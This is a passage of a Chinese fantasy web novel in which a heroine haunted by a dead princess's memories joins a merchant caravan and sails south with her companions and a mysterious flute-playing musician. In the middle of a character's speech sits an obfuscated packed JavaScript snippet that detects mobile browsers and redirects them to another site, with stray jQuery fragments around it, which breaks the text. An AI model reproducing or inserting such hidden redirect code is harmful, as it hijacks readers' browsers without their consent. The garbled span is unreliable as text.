“要我说,改道也是白改!那雪狼帮要是真有后台,走哪儿不都一样?”
“嘘!小声点!这种事也是能乱说的?”
“怕什么?这里天高皇帝远……要我说,那些土匪哪来那么好的装备?肯定是上面有人!”
“行了行了,喝酒喝酒……”
这些话落入祝君竹耳中,她强忍头痛,思维却飞速运转起来。雪狼帮……装备精良……上面有人……
一个念头骤然闪过。
她抬起头,看向林疏星,眼中还带着痛楚,语气却异常冷静:“兄长,你觉得雪狼帮作乱,当真只是匪患吗?”
林疏星一怔,随即明白了她的意思。他面色沉凝下来,低声道:“你怀疑……这是有人故意制造混乱,为了某种目的?”
“边境不宁,商路断绝,最受影响的是谁?”祝君竹一字一句问。
“……是依赖边境贸易的各大世家,以及——需要稳定补给边防军的朝廷。”林疏星缓缓道,眼中闪过一丝寒光,“若是有人想让朝廷陷入麻烦,让某些世家受损,这倒是个好法子。”
他没有说下去,但两人心中都清楚:能在北境豢养如此规模的匪帮,并能提供精良装备的,绝不会是普通人。而朝中有动机、有能力做这事的,屈指可数。
祝君竹感到头痛更剧烈了,她用力按压太阳穴,属于江浅月的一些思维习惯不受控制地浮现。
“兵者,诡道也。”她低声喃喃,说出一句江浅月熟读兵书时常挂在嘴边的话,“虚则实之,实则虚之。若是有人想用匪患掩盖真正的目的……”
林疏星深深看了她一眼。这句话,这种思考方式,已然不是祝君竹。
“你的意思是,雪狼帮作乱,可能只是幌子?真正的杀招,还在后面?”
“未算胜,先算败。”祝君竹眉头紧锁,“我们现在情报不足,只能先做最坏的打算。若真有人想搅乱北境,那么此刻天都内部,恐怕也不太平。我们回去的路,不会轻松。”
她连续两句充满将门风格的论断,让清音都呆住了。小丫鬟眨了眨眼,小声说:“小姐,您今天说话……好像变了个人。和以前那个小姐不一样!……和再以前的那个小姐也不一样!……呃……我的意思是……”
祝君竹自己也意识到了。她深吸一口气,试图压下那些翻涌的记忆,但收效甚微。江浅月的思维模式正越来越深地影响着她。她忍痛微笑着向清音点头,脸上却满是痛苦之色:“我明白你的意思。”
就在这时,一道温和的声音从旁边传来:
“几位可是在谈论南下之路?”
三人齐齐转头,只见方才那个独坐窗边的年轻蛟人不知何时已走到他们桌旁,手中仍握着那支青玉长笛,手指依旧在吹孔上轻轻的缓慢的以一种固有的频率敲击着。他的目光落在祝君竹身上,眼中闪过一丝极难察觉的异样,随即恢复平静。
“在下敖清澜,是个游历四方的乐师。”蛟人拱手,语气谦和,“方才无意中听到几位谈及雪狼帮与商路,冒昧打扰,还请见谅。”
祝君竹强忍头痛,打量此人。敖清澜……这个名字很陌生。但对方身上有种莫名的熟悉感,以及眉眼间那抹郁色,都让她心中微动。
“敖先生有何指教?”林疏星接过话头,保持着警惕。
“指教不敢。”敖清澜微微一笑,笑容却未达眼底,“只是在下也要南下,听闻金鳞商队改走炎州水路,正想结伴同行。看几位似乎也在为此事烦扰,故而冒昧一问——若几位也要南下,或许我们可以一同去与商队首领接洽?人多些,说话也更有分量。”
他顿了顿,补充道:“况且,走水路需乘船,船上空间有限。若是能提前与商队打好关系,行程中也能少受些委屈。行路难,不在山水,在人心。”
最后这句话,让祝君竹心头一震。
行路难,不在山水,在人心。
这句话……她听过。在江浅月的记忆里,有人曾对她说过同样的话。是谁来着?模糊的画面里,一个少年坐在水边,望着远方……
头痛再次袭来,比之前更剧烈。祝君竹眼前发黑,几乎要晕厥过去。
“小姐!”清音惊呼。
林疏星一把扶住祝君竹的肩膀,灵力温和地渡入她体内,帮她稳住心神。他抬头看向敖清澜,眼中带着审视:“多谢敖先生好意。不过我们还需商议,明日再给先生答复,如何?”
敖清澜的目光在祝君竹苍白的脸上停留了一瞬,那眼神复杂难明,似有关切,又有探究。最终,他点了点头:“自然。在下就住在二楼乙字房,随时恭候。”
说罢,他拱手一礼,转身离去。手中青玉长笛在转身时轻轻一晃,笛孔中似有微光流转。
祝君竹靠在林疏星臂弯中,意识模糊间,只看到那支长笛的影子在视线中划过,与记忆深处某个画面重叠——
梨花树下,少年将一支青玉笛递到她手中,笑着说:“月儿,以后想兄长时,就吹这支笛。千里之外,我也听得见。”
“兄长……”她无意识地呢喃出声。
林疏星身形微僵。
清音则睁大了眼睛。
而尚未走远的敖清澜,脚步几不可察地顿了一下,背对着他们的脸上,有什么情绪汹涌而过,又被死死压下。
夜还长,记忆的潮水正在涨起。
次日清晨,海潮居二楼乙字房的门被轻轻叩响。
敖清澜开门时,已是一副整装待发的模样。青玉长笛斜插在腰间束带中,肩上搭着个不起眼的青布行囊。
“三位考虑好了?”他目光扫过门外的祝君竹、林疏星和清音,最终停留在祝君竹脸上——她今日气色好了些,但眉宇间仍有一丝掩不住的疲惫。
“是。”林疏星作为明面上的“兄长”开口,“我们兄妹三人确要南下,能与敖先生结伴,自是再好不过。只是不知,敖先生打算如何与金鳞商队接洽?”
敖清澜淡淡一笑:“金鳞商队的首领就姓金,是东海蛟人与仙朝人的混血,出生时身上就有一片金鳞,故此单名一个‘鳞’字,在商路上跑了二十余年,最重规矩也最讲利益。要入他的商队,无非两样:一要有文书,二要货物来路清楚,不给他惹麻烦。我看几位货物齐备,文书想必也已到手,应是无碍的。”
这话说得滴水不漏,既表明了合作意向,又撇清了自己可能带来的风险。祝君竹不由得多看了这蛟人一眼——此人说话做事,有种与年龄不符的老练。
“既如此,烦请敖先生引路。”林疏星拱手。
“请随我来。”
金鳞商队的驻地设在聚集地南侧一片开阔的滩涂上。还未走近,便已感受到热闹气氛:三十余辆大小驮车排成长列,车上货物用防水油布盖得严实;近百头移峦兽或卧或立,咀嚼着草料;数十名伙计、护卫正忙碌地清点货物、检查车辕。商队中央,一面绣着金色龙鳞图案的旗帜在海风中猎猎作响。
敖清澜显然不是第一次来,他径直走向营地中央一顶最大的帐篷。帐外两名护卫伸手欲拦,见到是他,却都收回了手,只点头示意。
“敖乐师来了。”其中一人朝帐内通报。
“请他进来。”帐内传来浑厚的嗓音。
掀帘入帐,只见一名中年男子端坐案后。此人约莫四十许岁,面庞方正,额生一对短小蛟角,双目炯炯有神,穿着简朴但用料扎实的褐色劲装,正是金鳞商队首领金鳞。
“金老板。”敖清澜拱手,“这三位是我路上结识的朋友,想搭船南下天都,货物文书齐备,特来拜会。”
金鳞的目光如秤砣般在三人身上一一掂量。祝君竹能感觉到那目光中的审视——不是简单的看人,而是在评估价值、风险、乃至可能带来的麻烦。这种目光她在商场见过,另一个她在战场上也见过,是久经世故之人才有的锐利。
“三位如何称呼?”金鳞开口,声音沉稳。
林疏星上前一步,报上早已准备好的化名:“在下林青,这是舍妹林竹,侍女小音。我们本就是仙朝人士,贩些海货,给舍妹攒些嫁妆。”
“这次是走炎州的,你们该知道的吧?”金鳞挑眉,“可远了不少。看你那妹妹的容貌倒是像个大家闺秀的,出来抛头露面赚嫁妆,倒是少见。”
“家道中落,无奈为之。走炎州我们也清楚,正好再进些‘炽血藤’,还可多些利润。”林疏星语气平静,将三份文书和货物清单呈上。
金鳞接过,仔细翻阅。他看得极慢,每一页都要停顿片刻,时而抬眼打量三人,时而手指在清单某处轻点。帐内一时间只余纸张翻动的沙沙声。
祝君竹站在一旁,强忍着又一阵袭来的头痛。昨夜她几乎未眠,记忆碎片如走马灯般在脑中轮转。她弄不清楚,自己是正在变成另一个人还是正在找回原本的自己。
不知过了多久,金鳞终于放下文书。
“货物寻常,文书也无问题。”他直截了当,“不过如今世道不太平,我金鳞商队的规矩:第一,途中一切听我安排,不得擅自行动;第二,每日需轮值守夜,人人有责;第三——”他顿了顿,“若遇险情,护卫优先护货,诸位需自求多福。这些,可能接受?”
“自然。”林疏星毫不犹豫。
金鳞点头,取出一本厚册,提笔记下三人姓名、货物数量,又让三人各按手印。“每人搭伙钱一百灵石,出发前付清,路上包食宿。今日辰时三刻,此地集合,过时不候。”
手续办妥,金鳞语气稍缓:“敖乐师是老熟人,他的朋友我信得过。只是有一事需提醒诸位——此行走水路,虽
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998674|193914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
避开了雪狼帮,但天瀑江亦不太平。江上有水匪,有凶兽,还有些说不清道不明的‘东西’。诸位既上了我的船,便是一根绳上的蚂蚱,如若真遇上什么难处,还请有力出力,望各自珍重。”
离开金鳞的帐篷,清音长长舒了口气:“这金老板,看着怪吓人的。”
“能在边境跑商二十年,自然不是简单人物。”敖清澜淡淡道,“不过他有一句话说对了——上了船,便是一根绳上的蚂蚱。三位,往后两月,或有凶险,还请多关照。”
他说着,目光似有似无地瞟向祝君竹。
祝君竹正按着隐隐作痛的太阳穴,闻言只点了点头:“船到桥头自然直!不妨事!”
这句脱口而出的话,让清音猛地转头看她。
“小姐,您刚才说什么?”
祝君竹自己也愣了愣。她说了什么?好像是……“不妨事”?怎么了?有什么问题吗?
“我说不妨事,怎么了?”
清音泪眼婆娑的眼看了看敖清澜,又望了望祝君竹,摇了摇头。
敖清澜的眼中却闪过一丝极细微的侧目,快得让人以为只是错觉。
金鳞商队准时开拔。三十余辆驮车排成一字长蛇,沿着海岸线向南行进。队伍中有商人、有护卫、有伙计,还有像敖清澜这样的散客,总计不下百人,浩浩荡荡,尘土飞扬。
祝君竹三人被安排在队伍中段。林疏星驾车,祝君竹和清音坐在车内——名义上是兄妹,自然要避嫌。敖清澜则骑着匹灰鬃马,不远不近地跟在他们车旁,时而吹奏长笛,曲调悠远苍凉,与海涛声相和。
上了车,清音开始小声抽泣起来。悄声对祝君竹道:“小姐,你知不知道,二十年前你最后一次对我说了句‘不妨事,先干了再说!’之后便奉诏进了宫。后来,我就再也没见到您!”
祝君竹脑中对这些细节似乎也有些模糊的印象,但并不清晰。
头几日风平浪静。白日赶路,夜晚扎营,轮值守夜,一切按部就班。祝君竹的头痛时好时坏,记忆碎片涌动的频率越来越高。这句江浅月常说的话,更是挂在了嘴边。
清音抱怨天气炎热,问她热不热,要不要想法子消消暑。
她说道:“不妨事,忍忍就好。”
林疏星与商队护卫交涉琐事回来,面带忧色,她会递上水囊:“不妨事,先喝些水,歇歇。”
甚至有天夜里守夜,见敖清澜独自坐在礁石上吹笛,背影孤寂,她不觉起了恻隐之心。随后摇摇头自嘲叹道:“人各有命,如今我们自身还前途未卜,哪里来的闲心去管别人的闲情?”
而后再叹口气,自我开释:“不妨事!邪不胜正嘛!”
每一次她说出这个词,清音都会睁大眼睛看她,欲言又止。而敖清澜,则会停下笛声,侧耳倾听,仿佛那简单的几个字里藏着什么玄机。
林疏星也注意到了。某个傍晚扎营后,他趁清音去取水的功夫,低声问祝君竹:“小竹,你近日似乎多了些口头语。”
祝君竹正在整理衣物,闻言动作一顿。她仔细回想,才发现自己确实频繁说着某个词。
“好像是,我……也不清楚。”她实话实说,“好像自然而然就说出来了。”
林疏星看着她,眼神复杂:“这是江浅月最常说的一句话。宸月公主当年,令我颇为敬佩!”林疏星目光望向远方,像是在回忆上一世的记忆。他缓缓说道,“当年她刚平定北境归来,受封领赏。仙朝盛宴,我也在席。那时席间有文官酸言酸语,暗指她功高震主。你猜她如何回应?”
祝君竹的心跳漏了一拍。
“她就那么坐着,略有醉酒之态,饮了一杯酒,然后笑道:‘这不是天机府邱阁老吗?阁老多虑,不妨事!陛下神通,深不可测。仙朝上下,陛下了若指掌。何人心存何念,均逃不过陛下之慧眼。我江家忠心,日月可鉴!蒙陛下垂怜,赐以厚禄高爵,我江家上下,均倍感陛下圣恩。倒是今日宫宴,意在犒赏诸位戍边将士军功,到宴诸公,均有有功于社稷。不似尔等舞文弄墨之辈,寸功未见,却厚颜尸位于朝堂之上,不自省倒也罢了。却还在此摇唇鼓舌,挑弄是非!尔等是何居心?若是因此动摇军心,撼动国之根本!陛下怪罪下来,邱阁老怕是再想在朝堂上混混清闲日子也是难咯!’。”林疏星眼中浮现出钦佩之色,当时满堂鸦雀无声,那邱阁老险些气的走火入魔。”
祝君竹沉默。她竟不知,江浅月还有这样一面。记忆中的自己——不,是江浅月——总是冲锋在前,骁勇善战,人人都道她是个“悍妇”。可这几句话,却透露出截然不同的心性,看似是骂的那邱阁老狗血淋头,实则是看透世事,内在自有丘壑。
头痛再次袭来,这次伴随着一些模糊的画面——
深夜的书房,烛火摇曳。她——江浅月——正伏案疾书,纸上不是兵书战策,而是一些复杂的人名、关系图、事件脉络。门外传来脚步声,她迅速将纸卷起,塞进暗格。推门进来的是清音,端着些汤水:“小姐,喝些汤暖暖身子,该歇息了,晚睡可对身体不好。”
她抬起头,笑容灿烂:“不妨事,这就睡。”
画面碎裂。
祝君竹扶住车辕,脸色发白。
“小竹?”林疏星伸手欲扶。
“没事。”她摆摆手,深吸一口气,“只是……想起些零碎事情。”
那些零碎事情,正在拼凑出一个她完全陌生的江浅月。一个表面鲁莽、内心缜密;看似单纯、实则深沉的女子。她在隐藏什么?在谋划什么?
“兄长。”祝君竹忽然开口,“你说当年谋害你之人,可能是朝中高位者。那你觉得,会是哪些人?”
林疏星神色一凛。这个问题,他并非没有想过,只是每每触及,便强迫自己停止。他不愿,也不敢去深究那个可能的答案。
“……无非是那些有资格争储,或者某些结党之流的势力。”他避重就轻,“我虽已‘死’,但父皇至今未立新太子。除二弟、三弟外,其他皇子均还年幼,母后……”他顿了顿,“母后一心均在我和二弟身上,但她毕竟是后宫女子,朝堂之事,应不会涉足太深。储君,本就是党争的漩涡中心。朝中各路势力,可能均有自己属意的储君人选。为结党营私,贪腐敛财。为高官权柄,只手遮天。各式目的,均有动机。或者……”
林疏星沉默良久。
“……不会的。”最终,他低声说,更像是在说服自己。
祝君竹看着他眼中挣扎的痛苦,没有再逼问。有些伤口,需要自己舔舐,有些真相,需要自己揭开。她只是轻轻说了句:
“世事难测,不妨事。”
不远处正在擦拭长笛的敖清澜抬起头,望向祝君竹的方向,眼中情绪翻涌,最终化为一声几不可闻的叹息。
七日后,商队抵达第一个重要渡口——望海镇。
这里是海岸线与天瀑江支流的交汇处,从此处登船,便可一路逆流而上,直抵天都。镇子不大,但因这里是水路要冲,颇为繁华。码头停泊着大大小小数十艘船只,其中最显眼的便是金鳞商队包下的三艘中型货船——船身包铁,桅杆高耸,船首雕刻着蛟龙图案,正是专跑这条水路的“蛟船”。
“在此休整一日,补充食水,明日一早开船。”金鳞与众人定下时辰便自行匆匆离去。
众人亦各自散去,找客栈歇息。祝君竹三人与敖清澜同住一家“仙来客栈”,要了三间相邻的上房。
是夜,祝君竹头痛再次加剧。她躺在床上,辗转难眠,脑海中无数画面交织冲撞:战场的血腥,王府的温馨,仙宫的华美,玉京的孤寂……还有那些零碎的、看似无关紧要的细节——
某次宴会,仙后亲手为她布菜,笑容慈爱,她起身行礼,口中答:“谢娘娘!”
某次朝会,仙帝夸她兵法娴熟,眼中却似冷如冰霜。
某次私下,二皇子拉着她的袖子说:“月姐姐,母后说你功力卓绝,要我跟你比试加倍小心……”
“唔……”祝君竹蜷缩起身子,冷汗浸湿了中衣。这些记忆碎片太过杂乱,她理不清头绪,只觉一股深沉的悲哀与愤怒在胸中翻腾。
房门被轻轻叩响。
“小竹,你还好吗?”是林疏星的声音。
祝君竹咬牙撑起身,叫起清音来开门。门外,林疏星披着外袍,手中端着一碗热汤,显然是听到动静特意起来。
清音那丫头睡得迷迷糊糊,闭着眼摸着起来开了门,却有转身摸着爬回去睡了,竟对她家小姐的痛苦丝毫没有察觉。林疏星快步走进来,对清音似乎颇为不满,正欲叫醒她,却被祝君竹拦下。
“别叫她了,白天她辛苦照顾我,该是累了,这丫头本就贪睡。”
林疏星无奈的摇了摇头,“我煮了些安神茶,你……”他的话顿住,借着刚点燃的灯光看清祝君竹苍白如纸的脸色,“又发作了?”
祝君竹点点头。林疏星将汤碗放在桌上,很自然地伸手探向她额头——动作熟稔得仿佛做过千百次。
“灵力紊乱,神魂不稳。”他眉头紧锁,“多半是你近日记忆恢复,身体承受不住。需得缓一缓。”
“怎么缓?”祝君竹苦笑,“那些记忆自己往外涌,我控制不住。”
林疏星沉吟片刻:“或许……你可以试着主动去梳理,而不是被动承受。将那些碎片分类,重要的记下,无关紧要的暂且放下。”
这建议让祝君竹心中一动。是啊,她一直是程序员思维,善于整理归纳。为何不用这种方法处理记忆?
她闭上眼睛,尝试将涌入脑海的画面“归档”。战场的归战场,王府的归王府,仙宫的归仙宫……渐渐地,混乱的洪流开始变得有序。那些最让她痛苦的、矛盾的细节,被她单独拎出来,放在意识深处某个“待分析”的区域。
头痛果然减轻了些。
她睁开眼,长舒一口气:“罢了,不妨事,总归要面对的。”
林疏星看着她,眼神温柔下来:“你能想开便好。”他将茶碗推近,“趁热喝了吧。”
祝君竹接过碗,小口啜饮。茶是普通的安神茶,但温热入腹,确实舒服许多。她抬头看向林疏星,烛光下,他平凡的面容映着柔和的光,那双眼睛却依旧清澈深邃。她想起出差返回公司的那一晚。
“兄长。”她忽然问,“若有一天,你发现最信任的人背叛了你,你会如何?”
林疏星手指微微一颤。
“……我不知道。”他诚实回答,“或许会恨,或许会痛。但更可能的是,我会先问自己——是不是我哪里做得不够好,才让对方选择了背叛。”
这话说得卑微,却让祝君竹心头一酸。他是那样一个温润如玉的人,即便遭遇谋杀,首先反思的仍是自己。可这世道,从来不是善良就能换来善报。
“你不该这么想。”她认真道,“错的是背叛者,不是你。”
林疏星笑了笑,那笑容里有说不出的疲惫:“或许吧。但人心复杂,有时候对错并非那么分明。就像……”他顿了顿,“就像你体内的记忆。她是她,你是你,可现在你们融为一体,谁对谁错?谁才是真正的你?”
这个问题,祝君竹答不上来。
两人对坐无言,只有烛火噼啪轻响。窗外传来隐约的笛声,是敖清澜在吹奏。曲调悠远,如泣如诉,仿佛在诉说着某个不为人知的故事。
祝君竹眼眶微微湿润。
林疏星起身为她披了件衣服:“此曲……名《故月》,是悼亡之音。”
不知过了多久,祝君竹轻声道:“不妨事,船到桥头自然直。”
林疏星点头:“是啊,船到桥头自然直。”
他起身,端起空碗:“你早些歇息,明日还要登船。”
走到门边,他忽然回头:“小竹。”
“嗯?”
“无论你是谁,是她还是你,于我而言,你只是那个砸穿我屋顶、又与我并肩作战的人。”他说得平静,眼中却有光,“这条路,我会陪你走下去。”
门轻轻关上。
祝君竹坐在原地,良久,抬手抚上心口。那里有什么东西,正在悄然融化。
窗外笛声渐歇,夜空星河璀璨。
10. 第九回:逆江潜龙伏毒计
晨光刺破江雾,望海镇的码头渐渐苏醒。
祝君竹站在客栈窗前,望着下方忙碌的人群。昨夜与林疏星的那番谈话,让她心绪稍定。头痛虽未完全消退,但已能控制。那些纷乱的记忆碎片被她暂时封存整理,如同将杂乱的代码分门别类放入不同文件夹。
“小姐,该出发了。”清音推门进来,手里拎着收拾好的行囊,眼圈还有些红,“都怪我昨晚睡得太沉,竟不知小姐又头痛了……”
“不妨事。”祝君竹接过行囊,自然地拍了拍她的肩,“你这些天照顾我也辛苦,该好好休息。”
清音听到这句话,带着愧色地看了她一眼,最终只是抿了抿唇,没再多言。
三人下楼时,敖清澜已在大堂等候。他今日换了身靛青色长衫,青玉长笛仍斜插腰间,见到祝君竹,微微颔首:“林姑娘气色好些了。” 他说这话时,目光自然落在祝君竹脸上。那眼神温润平和,却让祝君竹心头莫名一悸。
“多谢敖先生关心,已无大碍。”祝君竹回礼,注意到敖清澜眼下也有淡淡青影,想来昨夜也未安寝。
“那就好。”敖清澜笑了笑。
一行人来到码头,金鳞商队的三艘蛟船已整装待发。船身长约二十丈,通体用深海铁木打造,船首雕刻的蛟龙栩栩如生,龙目镶嵌着某种发光的晶石,在晨光中泛着幽蓝光泽。船帆已升起,绣着金色龙鳞的旗帜在江风中猎猎作响。
敖清澜指着其中一艘道:“我已与金老板打过招呼,我们这艘是‘青蛟号’,船身最稳,适合女眷。” 他安排得细致周到,俨然已将自己视作这个临时小团体的一员。林疏星拱手道谢。
祝君竹站在码头上,看着伙计们将货物一箱箱扛上船。她今日换了身素青衣裙,发髻简单挽起,用一支木簪固定,脸上略施薄粉遮掩憔悴——这是林疏星的建议:“既扮作商户女,便要有商户女的样子。太过素净或太过招摇,都惹人注目。”她身侧的林疏星已恢复那副平凡面容,正与船工核对着货物清单。
辰时三刻,货物装载完毕。金鳞站在船首高台上,声音洪亮如钟:“诸位!此去天都,水路三千里,历时两月有余!江上风浪莫测,凶险暗伏!既上了我金鳞的船,便是同舟共济的兄弟姊妹!望诸位谨记三条:一守规矩,二听号令,三不惹事!若有人坏了我金鳞商队的名声——”他顿了顿,目光如刀扫过众人,“休怪金某不讲情面!按昨日分配的舱室入住,半个时辰后起锚!”
祝君竹三人被分在第二艘船的第三层,两间相邻的客舱,林疏星单独一间,祝君竹与清音一间。敖清澜的舱室就在他们斜对面。
客舱狭小,仅容一床一桌一椅。推开小窗,江风裹挟着水汽扑面而来。祝君竹站在窗前,看着码头上渐渐远去的景物,心中涌起一股难以言喻的感怀。
“小姐,您看这船,好大啊!”清音趴在另一扇窗边,兴奋地左顾右盼,“我还是第一次坐这么大的船呢!”
祝君竹笑了笑,目光却落在船尾方向。那里,敖清澜正倚着栏杆,望着江水出神。江风吹起他额前碎发,露出那对晶莹如玉的蛟角,侧脸在晨光中显得格外孤寂。
“确实是好船。”她轻声道,“金老板能在边境经营二十年,自有他的本事。”
正说着,房门被轻轻叩响。
林疏星推门进来,手中端着个托盘,上面摆着三碗热腾腾的鱼汤。“船上的伙夫刚熬的,说江里现捕的银鳞鱼,最是滋补。我拿来些,你们尝尝。”
清音欢呼一声接过,祝君竹却注意到林疏星眉宇间那抹凝重。
“有事?”她接过汤碗,低声问。
林疏星压低声音:“方才装船时,我留意到几个生面孔。”
“商队百余人,有生面孔不奇怪。”
“问题在于他们的手。”林疏星声音更沉,“那几人虽然穿着伙计衣裳,干活也麻利,但虎口、指节都有厚茧——不是干粗活磨出来的,是常年握刀、使暗器留下的痕迹。而且他们搬货时,脚步轻得不正常,落地几乎无声。”
祝君竹心中一凛。
“几个人?”
“至少三个。一个在咱们这艘青蛟号,两个在后面的‘赤蛟号’。”林疏星道,“我已暗中记下他们的样貌特征。只是不知,他们是冲着谁来的。”
祝君竹沉吟片刻:“冲我们的可能性不大。我们身份隐藏得尚可,若真是玄影监的人,不会等到现在才动手。更可能是……”她顿了顿,“商队本身惹了什么麻烦,或者,船上另有‘贵客’。”
“无论如何,小心为上。”林疏星从怀中取出两枚符箓,递给祝君竹,“这是我昨晚绘制的‘静谧’和‘示警’阵法符箓。贴在房中,若有异动,我会立刻知晓。”
祝君竹接过符箓。纸张微温,上面朱砂符文流转着淡淡的灵力——林疏星的阵法造诣,确实精深。她抬头看他,烛光下,他平凡的面容映着暖色,那双眼睛却清澈得能照见人心。
“多谢。”她真诚道。
林疏星摇摇头:“同舟共济,应该的。”他转身欲走,又停住,“对了,敖先生方才邀我晚间去他房中论乐。我应下了,正好探探他的底细。”
“小心些。”祝君竹对敖清澜奇怪熟悉感令她也颇想探究一番。
“放心。”林疏星依旧表情淡然。
房门轻轻关上。祝君竹将符箓贴在门后和窗边,灵力注入,符文亮起微光,随即隐没。房间里顿时安静下来,连窗外的江水声都变得模糊—— “静谧”生效了。
清音喝完鱼汤,满足地咂咂嘴:“小姐,公子对您可真上心。”
祝君竹瞥她一眼:“莫要胡说。”
“清音才没胡说呢!”小丫头凑过来,眼睛亮晶晶的,“这一路上,公子对您的照顾,瞎子都看得出来。送药、煮汤、守夜……连您随口说句头疼,他都记在心里。你们俩也算青梅竹马,要我说啊,等到了天都,把事情办完了,您不如就——”
“清音。”祝君竹打断她,语气严肃起来,“眼下危机四伏,不是想这些的时候。况且……”她顿了顿,“我与他,只是同行的伙伴。他帮我,是因为我们有共同的目标,仅此而已。”
这话说得她自己都有些心虚。这些日子的相处,林疏星于她,早已不是简单的“伙伴”。那份默契,那份信任,那份危难时毫不犹豫的维护,早已超越了寻常关系。
可她不敢深想。江浅月的记忆正在苏醒,那些属于宸月公主的爱恨情仇、家国责任,正一点点重塑她的灵魂。她不知道,当完整的江浅月归来时,现在的祝君竹还会剩下多少。
而林疏星……他心中装着太子的仇恨,装着对弟弟的愧疚,装着对仙朝未来的忧虑。这样一个人,能有多少空间留给儿女私情?
“罢了。”她揉了揉眉心,“不妨事,船到桥头自然直。”
入夜,江上起了薄雾。
青蛟号缓缓行驶在夜色中,船首的蛟龙晶石发出幽蓝光芒,照亮前方十丈江面。值夜的护卫提着灯笼在甲板巡逻,脚步声规律而沉重。
林疏星如约来到敖清澜房中。
房间与他们的差不多大,陈设更简单——一床、一桌、一椅,墙上挂着支青玉长笛,桌上摆着壶酒、两个酒杯。敖清澜已等候多时,见他进来,微微一笑:“林兄来了,请坐。”
两人对坐,敖清澜斟了酒。酒是普通的米酒,入口温润,带着淡淡的甜香。
“昨夜听得敖兄吹奏,当真是技艺精湛。这曲《故月》也当真是勾人哀思。”林疏星早已打算好从音律开始聊。
“林兄可知,这曲《故月》的来历?”敖清澜忽然问。
林疏星摇头:“愿闻其详。”
“此曲传自百年前,是一位龙族乐师为悼念亡妻所作。”敖清澜缓缓道,“他的妻子是仙朝女子,两人相识于江上,相爱于月下,最终却因两族隔阂,天人永隔。乐师悲痛欲绝,谱下此曲,曲成之日,投江殉情。”
他语气平淡,眼中却浮起一层薄雾般的哀伤:“据说此曲有灵,能引动听者心中最深切的思念与悔恨。故而龙族之中,若非至亲亡故,轻易不吹此曲。”
林疏星心中一动。他想起昨夜祝君竹头痛发作时,窗外传来的正是这支曲子。敖清澜为何要在那时吹奏《故月》?是巧合,还是有意?
“敖先生昨夜吹奏此曲,可是心中有所念?”他试探问道。
敖清澜沉默片刻,将杯中酒一饮而尽。
“是啊。”他低声道,“我在思念一个人。一个……我以为再也见不到的人。”
“是亲人?”
“算是吧。”敖清澜笑了笑,那笑容苦涩,“一个傻姑娘,莽撞、冲动,却又比谁都重情重义。当年她为了护着我,差点丢了性命。后来……后来她杳无音信,我却无能为力。”
他说这话时,手指无意识地摩挲着酒杯边缘。林疏星注意到,他右手虎口处有一道极淡的疤痕,像是旧年刀伤。
“既然如此牵挂,为何不去寻她?”林疏星问。
“寻过。”敖清澜声音更轻,“寻了二十年,所有人都说她死了,连魂魄都散了。可我总觉得……她还在某个地方,等着我去找她。”
房间里陷入短暂的沉默。江风从窗缝钻入,吹得烛火摇曳,墙上两人的影子也随之晃动,如同鬼魅。
林疏星心中疑窦丛生。敖清澜这番话,听着像是痴情男子思念爱人——那语气中充满痛惜、愧疚、自责。
“林兄。”敖清澜忽然开口,打断了他的思绪,“令妹……林竹姑娘,她可曾受过什么重伤?或者,经历过什么大变故?”
林疏星心头警铃大作,面上却不动声色:“敖先生何出此问?”
“只是觉得……”敖清澜斟酌着词句,“林姑娘身上,有种很奇怪的气质。她看起来温婉柔弱,可眼神深处,却似藏着刀锋般的锐利。这几日我观她说话做事……”他顿了顿,“甚至让我想起某个故人。”
“哦?什么样的故人?”
“一个……本不该活在这世上的故人。”敖清澜深深看了林疏星一眼,“林兄,有些话我不便明说。但请你相信我,我对你们绝无恶意。相反,若你们信得过我,这一路上若遇险情,我定会拼死相护。”
这话说得郑重,几乎像是誓言。林疏星心中震撼,面上却只平静道:“敖先生言重了。我们兄妹不过是寻常商贾,哪里会有什么险情。”
“但愿如此。”敖清澜笑了笑,不再多言。
两人又闲聊了一阵,酒壶见底,二人皆略带酒意。林疏星起身告辞,敖清澜送他到门口。
“林兄。”临别时,敖清澜忽然低声道,“江上不太平,夜里警醒些。若听到什么动静,莫要轻易出门。”
林疏星点头:“多谢提醒。”
他回到自己房间,关上门,背靠着门板,长长吐出一口气。
敖清澜的话,句句藏着深意。他显然已对祝君竹的身份有所猜测。
可他为何不点破?是顾忌什么,还是在等待什么?
林疏星走到墙边,手指轻触木板。隔壁房间,祝君竹应该已经睡下了。静音符隔绝了声音,他听不到任何动静,却莫名感到心安。
无论如何,他必须护她周全。
子时三刻,月朗星稀。
青蛟号静默地航行在浓雾中,船首的幽蓝光芒穿透力有限,只能照亮前方五丈。值夜的护卫换了一班,新上来的几人提着灯笼,在甲板上缓慢巡逻。
祝君竹睡得很不安稳。
她又做梦了。这次的梦格外清晰——在玉京山巅,风雪凄迷,她跌跌撞撞地奔跑,身后的庞廉仁紧追而至。师尊云渺真人站在山崖边,背对着她,白发在风中狂舞。
“浅月,你的路,要自己走。”师尊的声音缥缈如烟,“记住,活下去。只有活下去,才有希望。”
她还想说什么,脚下突然一空,坠落至无边无际的大海中。
祝君竹猛然惊醒,坐起身,大口喘息。冷汗浸透了中衣,黏腻地贴在身上。窗外月光惨白,透过圆窗洒进房间,在地板上投下一片清冷的光斑。
清音睡在对面小榻上,呼吸均匀。
祝君竹抚着心口,那里跳得厉害。梦境太过真实,那种灵魂被撕裂的痛楚,那种坠入深渊的绝望,此刻仍残留在意识深处,让她浑身发冷。
她掀开被子,赤脚走到窗边。推开窗,江风灌入,带着深夜的寒意,却让她混乱的思绪清醒了几分。
月光下的江面,泛着粼粼银光。远处山峦如墨,近处雾气缭绕,整片天地寂静得诡异。只有船身破开江水的声音,规律而单调,如同心跳。无数疑问在脑中盘旋,却找不到答案。祝君竹感到一阵深深的无力——记忆的碎片越来越多,却始终拼不出完整的真相。就像一幅拼图,关键的部分永远缺失。
正出神间,眼角余光忽然瞥见一抹黑影。
